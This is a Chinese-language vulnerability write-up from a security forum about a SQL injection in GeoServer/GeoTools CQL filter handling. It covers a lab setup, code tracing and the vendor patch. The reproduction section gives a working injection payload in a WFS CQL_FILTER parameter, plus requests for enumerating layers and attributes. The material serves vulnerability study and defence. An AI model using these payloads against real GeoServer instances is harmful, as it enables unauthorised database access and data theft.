问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅析Geoserver注入
漏洞分析
GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据,支持众多地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理数据。GeoServer 基于 Spring 开发,使用到了 GeoTools 库。
产品简介 ---- GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据,支持众多地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理数据。GeoServer 基于 Spring 开发,使用到了 GeoTools 库。 GeoTools 是一个开源的 Java 库,提供对地理数据空间工具,GeoServer 许多核心功能使用 GeoTools 实现,如:数据读写转换。 0X01 漏洞概述 --------- GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成SQL注入,获取服务器中的敏感信息,甚至可能获取数据库服务器权限。 对于 GeoTools 在使用 JDBCDataStore 实现执行 OGC 过滤器时存在 SQL 注入漏洞: 1、PropertyIsLike 启用“编码功能”的 PostGIS DataStore 或者任何带有字符串字段的 JDBCDataStore 2、strEndsWith 启用“编码功能”的 PostGIS DataStore 3、strStartsWith 启用“编码功能”的 PostGIS DataStore 4、FeatureId JDBCDataStore禁用预编译并且有字符串主键(Oracle 不受影响,SQL Server 和 MySQL 没有启用预准备语句的设置,PostGIS 则受影响) 5、jsonArrayContains 带有字符串或 JSON 字段的 PostGIS 和 Oracle DataStore 6、DWithin 仅在 Oracle DataStore 中 影响版本: GeoServer <2.21.4,<2.22.2 GeoTools <28.2、<27.4、<26.7、<25.7、<24.7 0X02 环境搭建 --------- 一、下载源码安装:<https://geoserver.org/release/2.21.3/> 二、下载后解压进入bin目录运行,启动程序。 运行命令:`sh startup.sh`  运行后访问:<http://127.0.0.1:8080/geoserver/web>  三、搭建PostgreSQL `docker run -e POSTGRES_PASSWORD=password -d -p 5433:5432 postgres:latest`  下面进入启动的容器并安装postgis拓展(这里安装的时候会提醒网络连接失败,可以先更新apt后再尝试): `docker exec -it 8f16 bash apt search postgis apt install postgis postgresql-14-postgis-3-scripts`   安装完拓展后需要配置数据源。详情请参考 <https://docs.geoserver.org/latest/en/user/gettingstarted/postgis-quickstart/index.html> 、 创建好nyc数据库后进入: `psql -U postgres -h localhost -p 5433 -d nyc`  `\i /your-path/nyc_buildings.sql`  配置好后本地环境搭建完成。  0X03漏洞复现 -------- 测试poc如下: ```php /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=查询到的图层名称&CQL_FILTER=strStartsWith(该图层中的属性名称,'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true ``` 第一步:获取图层名称 ```php [/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities] ``` ([http://192.168.145.130:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities](http://192.168.145.130:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities))   第二步:获取某个图层的属性名称 ```php [/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=cite:nyc_buildings] ``` ([http://192.168.145.130:8080/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=cite:nyc\_buildings](http://192.168.145.130:8080/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=cite:nyc_buildings))   第三步:构造payload查询数据库版本信息 ```php [/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=cite:nyc_buildings&CQL_FILTER=strStartsWith(bin,%27x%27%27)+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+%27)+%3d+true] ``` ([http://192.168.145.130:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=cite:nyc\_buildings&CQL\_FILTER=strStartsWith(bin,%27x%27%27)+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+%27)+%3d+true](http://192.168.145.130:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=cite:nyc_buildings&CQL_FILTER=strStartsWith(bin,%27x%27%27)+%3D+true+and+1%3D(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+%27)+%3D+true))   0X04漏洞分析 -------- 对于strStartsWith 启用“编码功能”的 PostGIS DataStore注入分析: 通过下断点跟代码发现函数getReaderInternal(位于org.gettools.jdbc):  在执行查询前调用 getDataStore().getConnection(this.getState()) 方法获取与数据存储相关联的连接对象cx,判断是否能正常连接数据库。 第一部分生成查询语句: 主要的sql查询函数如下: selectSQL函数,用于构建执行查询的 SQL 语句。  selectColumns函数将查询的字段遍历并添加到 SQL 语句中;  生成sql查询语句过程中涉及到的一函数如下: 将名称中可能存在的转义字符进行转义  将列名编码到 SQL 语句  第二部分是对filter的处理: 此部分函数主要功能是将给定的过滤器对象(CQL\_FILTER)转换为字符串形式的 SQL 查询语句。 encode 方法用于将给定的过滤器对象转换为字符串形式的 SQL 查询语句 encodeToString 方法用于将结果作为字符串返回。  this.getCapabilities().fullySupports(filter)这个逻辑表示判断当前对象是否完全支持给定的过滤器 filter,该方法的返回结果是一个布尔值。判断完逻辑后,在输出流 out 中写入字符串 "WHERE "。接下来的查询中,将添加一个 WHERE 子句用于筛选数据。 在 filter 中将我们输入的 CQL\_FILTER 转换成 SQL 语句后直接拼接到 WHERE 后面:  最后回到主函数由 executeQuery 执行 SQL 语句:  执行的最终sql语句如下: ```php SELECT "gid","bin",encode(ST_AsEWKB("the_geom"),'base64') as "the_geom" FROM "public"."nyc_buildings" WHERE ("bin"::text LIKE 'x') = true and 1=(SELECT CAST ((SELECT version()) AS INTEGER)) -- %') = true ``` 总结: 在selectSQL函数执行完毕后会生成数据库的查询语句,下面会执行查询判断是否存在 CQL\_FILTER ,如果为是存在,则开始处理用户输入的 CQL\_FILTER 条件,由 encodeToString(Filter filter) 将 CQL\_FILTER 转换为 SQL 语句,再由 FilterToSQL filter 拼接到 WHETE 后面,最后 JDBCFeatureReader 的 this.runQuery 执行带有注入的 SQL 语句,完成注入。 0X05漏洞修复 -------- 官方已发布补丁,参考: <https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d> 在发布的补丁中可以看到修改了配置文件: src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 通过在ConfigDatabase中添加属性字段,并在构造函数中包含该字段。实现自定义数据库配置。NamedParameterJdbcTemplate 是 Spring Framework 提供的一个类,它通过使用命名参数来支持编写 JDBC 语句,而不是使用经典的占位符('?')参数。在提交中,更新了 ConfigDatabase 构造函数,使其接受一个 DataSource 并从中创建一个 NamedParameterJdbcTemplate。命名参数使得参数化的 SQL 参数与 SQL 命令明确分离,从而在执行 SQL 语句时避免了拼接字符串的风险,提高了安全性。  使用更安全的 SQL 构造和执行,通过使用参数化查询而不是字符串连接,如调用 `<span lang="EN-US">template.queryForObject</span>`,不使用变量本身 `<span lang="EN-US">sql.toString()</span>`,而是使用 `<span lang="EN-US">sql</span>`变量本身。  `<span lang="EN-US">sql</span>`中的StringBuilder对象[`<span>QueryBuilder.java</span>`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java)被替换为String对象。可变的 StringBuilder 对象可能会导致 SQL 查询的无意或恶意修改,将其替换为不可变的字符串可以帮助防止此类修改,从而防止 SQL 注入。  类中添加了一个新方法[`<span>Dialect.java</span>`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java)。此方法采用注释字符串并转义其中的潜在危险字符。转义了一些 SQL 注入攻击中使用的开始和结束 SQL 注释字符(“/*”和“*/”)  具体可以参考: <https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158>
发表于 2023-09-20 09:00:02
阅读 ( 17111 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
79 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!